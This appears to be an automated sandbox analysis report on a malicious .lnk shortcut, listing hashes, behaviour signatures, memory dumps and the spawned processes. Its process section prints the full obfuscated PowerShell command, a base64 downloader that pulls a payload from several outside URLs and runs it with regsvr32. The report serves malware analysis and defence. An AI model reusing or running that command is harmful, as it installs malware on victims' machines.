Analysis

  • max time kernel
    94s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 14:10

General

  • Target

    cdff57212816c50f3fd6c8dd8f9614be91028c40a571af87a8528e22ce571ee4.lnk

  • Size

    3KB

  • MD5

    c4c3380493698fd58c4d74f60221523d

  • SHA1

    3c4496c4956db5dc7706810591ea07fb62f4f763

  • SHA256

    cdff57212816c50f3fd6c8dd8f9614be91028c40a571af87a8528e22ce571ee4

  • SHA512

    e7d228d49d0abcb15af741eb57cd2068eb086a1d7e292fde326fd8d37f4dbe916acb27a6f99431e4c0bf64de7d86a2913bf40338274cfd6930d50cd68a2cd6cb

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\cdff57212816c50f3fd6c8dd8f9614be91028c40a571af87a8528e22ce571ee4.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'XkHTOatCg8Ef+m8L5lWLLjGlNCLf9/D1xUUoBUMFjoCxkEjg4prt84NyUttk2Teb17YBGzKJ';$iVUCDT='ICBXcml0ZS1Ib3N0ICJickdpbiI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3RvZ29nZWVrcy5uZXQvdHJhdmVsL3lRSkp';$HE='QQVEvIiwiaHR0cDovL3Rla3N0aWx1em1hbmdvcnVzdS5jb20vd3AtYWRtaW4vZHNoYXF6d0dpdVR0aW9kLyIsImh0dHBzOi8vc3VuMnUuY29tL3dwLWluY2x1ZGVzL2NiRHdwUk1ZV3pMR0QvIiwiaHR0cDovL2hha2FuYWEuY29tL2FsdGEtZnJlcXVlbmNpYS9iSUE4SjIvIiwiaHR0cDovL3RwLWNvbmNlcHRkaWZmdXNpb24uY29tL1BPVUIvN0lua1gvIiwiaHR0cDovL3RnYXNpYW1hbmFnZW1lbnQuY29tL3dwLWNvbnRlbnQvbTdEazdkYXFBWEYvIik7JHQ9ImhidnVnakkiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcZEtsU1NwQ3VhSC5oWVo7UmVnc3ZyMzIuZXhlICIkZFxkS2xTU3BDdWFILmhZWiI7YnJlYWt9IGNhdGNoIHsgfX0=';$Xh=$iVUCDT+$HE;$NoA=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Xh));$Xh=$NoA;iex($Xh)}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3100

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s2rgghe1.fj0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3100-2-0x00007FFE39143000-0x00007FFE39145000-memory.dmp

    Filesize

    8KB

  • memory/3100-12-0x0000022369260000-0x0000022369282000-memory.dmp

    Filesize

    136KB

  • memory/3100-13-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

    Filesize

    10.8MB

  • memory/3100-14-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

    Filesize

    10.8MB

  • memory/3100-15-0x00007FFE39143000-0x00007FFE39145000-memory.dmp

    Filesize

    8KB

  • memory/3100-16-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

    Filesize

    10.8MB

  • memory/3100-17-0x000002236A110000-0x000002236A8B6000-memory.dmp

    Filesize

    7.6MB

  • memory/3100-21-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

    Filesize

    10.8MB